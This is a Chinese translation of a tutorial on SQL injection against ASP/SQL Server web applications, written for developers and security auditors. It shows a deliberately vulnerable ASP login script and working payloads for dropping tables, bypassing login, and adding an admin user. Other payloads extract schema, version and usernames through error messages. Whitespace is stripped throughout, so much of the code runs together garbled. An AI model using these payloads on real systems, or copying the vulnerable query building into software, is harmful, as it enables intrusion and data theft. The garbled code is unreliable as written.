這篇文章討論常用的"sql注入"技術的細節,應用于流行的MsIIS/asp/SQL-Server平臺。這里探討有關這種攻擊各種可以注入程序訪問數據和數據庫防范的方法。這篇文章面向兩種讀者:一是基于數據庫web程序開發人員和審核各種web程序的安全專家。
[介紹]
結構化查詢語言(SQL)是一種用來和數據庫交互的文本語言SQL語言多種多樣,大多的方言版本都共同寬松地遵循SQL-92標準(最新的ANSI標準[譯者注:目前最新的是SQL-99])。SQL運行的典型的操作是“查詢”,它是可以讓數據庫返回“查詢結果記錄集”的語句集合。SQL語句可以修改數據庫的結構(用數據定義語言"DDL")和操作數據庫里的數據(用數據操作語言"DML")。我們在這里著重討論Transact-SQL(交互式SQL),應用于SQL-Server的SQL一種方言(非標準SQL)。如果攻擊者可以插一系列的SQL語句進入應用程序的數據查詢時,Sql注入攻擊就可能發生。
一個典型的SQL語句是這樣的:
1 select id, forename, surname from authors
這個查詢語句將會從'authors'表中返回'id','forename'和'surname'列的所有行。返回的結果集也可以加以特定條件'author'限制:
select id, forename, surname from authors where forename = 'john' and surname = 'smith'
注意這里很重要的一點是'john'和'smith'是被單引號引住的,假設'forename'和'surname'字段是來自于用戶的輸入,攻擊者就可能通過輸入非法字符串來對這個查詢進行SQL注入:
Forename:jo'hn Surname: smith
查詢語句就會變成:
1 select id, forename, surname from authors where forename = 'jo'hn' and surname = 'smith'
當數據庫試圖執行這個查詢,它會返回這樣的錯誤:
1 Server:Msg 170, Level 15, State 1, Line 12 3 Line 1:Incorrect syntax near 'hn'
這是因為插入的單引號破壞了原來單引號引住的數據,數據庫執行到'hn'時失敗。如果攻擊者這樣輸入:
Forename:jo';droptableauthors——
Surname:
……authors表就會被刪掉,原因過一會再解釋。
似乎通過刪除用戶輸入的字符串中的單引號或者通過一些方法避免它們出現可以解決這個問題。誠然如此,但是要實施這個解決方法還有很多的困難。因為首先:不是所有的用戶提交的數據都是字符串形式,比如我們的用戶輸入通過'id'(看上去是個數字)來選擇一個用戶,我們的查詢可能會這樣:
selectid,forename,surnamefromauthorswhereid=1234
在這種情況下攻擊者可以輕易的在數值輸入后面添加SQL語句。在其他SQL方言中,使用著各種分隔符,比如MSJetDBMS引擎,日期可以用'#'符號來分隔。
其次,避免單引號并不像開始我們想象的那樣是必要的解決辦法,原因下面討論。
我們將以ActiveServerPages(ASP)登陸頁面為例子來詳細說明,它訪問一個Sql-Server數據庫并且驗證一個到我們假想的程序的訪問。
這是用戶填寫用戶名和密碼的表單頁面:
〈HTML〉〈HEAD〉〈TITLE〉LoginPage〈/TITLE〉〈/HEAD〉〈BODYbgcolor='000000'text='cccccc'〉〈FONTFace='tahoma'color='cccccc'〉〈CENTER〉〈H1〉Login〈/H1〉〈FORMaction='PRocess_login.asp'method=post〉〈TABLE〉〈TR〉〈TD〉Username:〈/TD〉〈TD〉〈INPUTtype=textname=usernamesize=100%width=100〉〈/INPUT〉〈/TD〉〈/TR〉〈TR〉〈TD〉PassWord:〈/TD〉〈TD〉〈INPUTtype=passwordname=passwordsize=100%width=100〉〈/INPUT〉〈/TD〉〈/TR〉〈/TABLE〉〈INPUTtype=submitvalue='Submit'〉〈INPUTtype=resetvalue='Reset'〉〈/FORM〉〈/FONT〉〈/BODY〉〈/HTML〉
這是'process_login.asp'的代碼,它處理用戶登陸:
〈HTML〉〈BODYbgcolor='000000'text='ffffff'〉〈FONTFace='tahoma'color='ffffff'〉〈STYLE〉p{font-size=20pt!important}font{font-size=20pt!important}h1{font-size=64pt!important}〈/STYLE〉
〈%@LANGUAGE=JScript%〉〈%functiontrace(str){if(Request.form("debug")=="true")Response.write(str);}functionLogin(cn){varusername;varpassword;username=Request.form("username");password=Request.form("password");varrso=Server.CreateObject("ADODB.Recordset");varsql="select*fromuserswhereusername='"+username+"'andpassword='"+password+"'";trace("query:"+sql);rso.open(sql,cn);if(rso.EOF){rso.close();%〉〈FONTFace='tahoma'color='cc0000'〉〈H1〉〈BR〉〈BR〉〈CENTER〉accessDENIED〈/CENTER〉〈/H1〉〈/BODY〉〈/HTML〉〈%Response.endreturn;}else{session("username")=""+rso("username");%〉〈FONTFace='tahoma'color='00cc00'〉〈H1〉〈CENTER〉ACCESSGRANTED〈BR〉〈BR〉Welcome,〈%Response.write(rso("Username"));Response.write("〈/BODY〉〈/HTML〉");Response.end}}functionMain(){//Setupconnectionvarusernamevarcn=Server.createobject("ADODB.Connection");nnectiontimeout=20;cn.open("localserver","sa","password");username=newString(Request.form("username"));if(username.length〉0){Login(cn);}cn.close();}Main();%〉
這里討論的是'process_login.asp'中的創建'querystring'的部分:
varsql="select*fromuserswhereusername='"+username+"'andpassword='"+password+"'";
如果用戶指定了下面這樣的數據:
Username:';droptableusers——Password:
'users'表會被刪除,所有用戶都不能登陸。'——'是Transact-SQL(交互式SQL)的單行注釋符,';'標志著一個查詢的結束另一個查詢的開始。用戶名最后的'——'用來使這個特殊的查詢無錯誤結束。
攻擊者只要知道用戶名,就可以通過以下的輸入以任何用戶的身份登陸:
Username:admin'——
攻擊者可以通過下面的輸入以用戶表里的第一個用戶來登陸:
Username:'or1=1——
……更有甚者,攻擊者通過以下的輸入可以以任意虛構的用戶登陸:
Username:'unionselect1,'fictional_user','somoe_password',1——
因為程序相信攻擊者指定的常量是數據庫返回的記錄集的一部分。
[通過錯誤信息獲取信息]
這個技術是DavidLitchfield在一次滲透入侵測試中首先發現的,后來david寫了篇關于這個技術的文章,很多作者都參考過這篇作品。這里我們討論“錯誤消息”技術潛在的機制,使讀者可以充分理解它并且能靈活應用。
為了操作數據庫里的數據,攻擊者要確定某個數據庫的結構。例如:我們的"user"表是用下面的語句建立的:
createtableusers(idint,
usernamevarchar(255),
passwordvarchar(255),
privsint
?。?/p>
并且插入了下面的用戶:
insertintousersvalues(0,'admin','r00tr0x!',0xffff)
insertintousersvalues(0,'guest','guest',0x0000)
insertintousersvalues(0,'chris','password',0x00ff)
insertintousersvalues(0,'fred','sesame',0x00ff)
我們假設攻擊者要為自己插入一個用戶,如果不知道表的結構的話,他不可能成功。即使他運氣好,'priv'字段的重要性還不清楚。攻擊者可能插入'1',給自己在程序里添加了一個低權限的用戶,而他的目標是管理員的權限。
對于攻擊者來說幸運的是:如果程序返回錯誤(asp默認如此),攻擊者可以猜測整個數據庫的結構,讀取ASP程序連接到SQL-Server的帳號權限內可以讀取的任何值。
(下面給出的使用上面提供的示例數據庫和asp腳本來說明這些技術怎樣實現的)
首先,攻擊者要確定查詢的表名和字段名。要做到這點,攻擊者可以使用'select'語句的'having'子句:
username:'having1=1——
這會引起下面的錯誤(譯者注:having字句必須和GROUPBY或者聚合函數一起配合使用,否則出錯):
MicrosoftOLEDBProviderforODBCDriverserror'80040e14'
[Microsoft][ODBCSQLServerDriver][SQLServer]Column'users.id'is
invalidintheselectlistbecauseitisnotcontainedinanaggregate
functionandthereisnoGROUPBYclause.
/process_login.asp,line35
所以攻擊者就知道了表名和第一列的列名,他們可以通過給每列加上'groupby'子句繼續得到其他列名,如下:
username:'groupbyusers.idhaving1=1——
?。ńY果產生這樣的錯誤)
MicrosoftOLEDBProviderforODBCDriverserror'80040e14'
[Microsoft][ODBCSQLServerDriver][SQLServer]Column'users.username'
isinvalidintheselectlistbecauseitisnotcontainedineitheran
aggregatefunctionortheGROUPBYclause.
/process_login.asp,line35
最后攻擊者得到了下面的'username':
'groupbyusers.id,users.username,users.password,users.privshaving1=1——
這句沒有錯誤,相當于:
select*fromuserswhereusername=''
所以攻擊者知道了查詢只是關于'users'表的,并且順序使用了列'id,username,password,rpivs'.
如果攻擊者能確定各列的數據類型將會很有用,可以利用類型轉換錯誤信息來達到這一點,看下面的例子:
Username:'unionselectsum(username)fromusers——
這利用了SQL-Server試圖在確定兩行是否相同之前先執行'sum'子句的特性,計算文本域的和會返回這樣的信息:
MicrosoftOLEDBProviderforODBCDriverserror'80040e07'[Microsoft][ODBCSQLServerDriver][SQLServer]ThesumoraverageaggregateOperationcannottakeavarchardatatypeasanargument./process_login.asp,line35
它告訴我們'username'字段的類型是'varchar'.相反的,如果我們試圖計算數值型的字段,但結果兩行的列數并不匹配:
MicrosoftOLEDBProviderforODBCDriverserror'80040e07'
[Microsoft][ODBCSQLServerDriver][SQLServer]Thesumoraverage
aggregateoperationcannottakeavarchardatatypeasanargument.
/process_login.asp,line35
我們可以用這個技術來大概地確定數據庫內各列的類型。
這樣攻擊者就可以寫出一個格式完美的'insert'語句:
Username:';insertintousersvalues(666,'attacker','foobar',0xffff)——
但是,這個技術的潛力不止這些。攻擊者可以利用任何錯誤信息來暴露系統環境或者數據庫信息。執行下面的語句可以得到一個標準錯誤信息的清單:
select*frommaster……sysmessages
檢查這個清單可以發現很多有趣的信息。
一個特別有用的信息有關類型轉換,如果你試圖將一個字符串轉換成整型,整個字符串的內容將會出現在錯誤信息里。以我們登陸頁的例子來說,使用下面的'username'將會返回SQL-Server的版本以及它所在服務器操作系統的版本信息:
Username:'unionselect@@version,1,1,1——
MicrosoftOLEDBProviderforODBCDriverserror'80040e07'
[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconverting
thenvarcharvalue'MicrosoftSQLServer2000-8.00.194(IntelX86)Aug
6200000:57:48Copyright(c)1988-2000MicrosoftCorporationEnterprise
EditiononWindowsNT5.0(Build2195:ServicePack2)'toacolumnof
datatypeint.
/process_login.asp,line35
這試圖將內置常量'@@version'轉換成整型,因為'users'表第一列是整數。
這個技術可以用來讀取任何數據庫的任何表的任何內容,如果攻擊者對用戶名和密碼感興趣,他們就可以從'users'表讀用戶名:
Username:'unionselectmin(username),1,1,1fromuserswhereusername>'a'——
這將選出比'a'大的最小用戶名,而且試圖將它轉換成一個整數:
MicrosoftOLEDBProviderforODBCDriverserror'80040e07'
[Microsoft][ODBCSQLServerDriver][SQLServer]Syntaxerrorconverting
thevarcharvalue'admin'toacolumnofdatatypeint.
/process_login.asp,line35
新聞熱點
疑難解答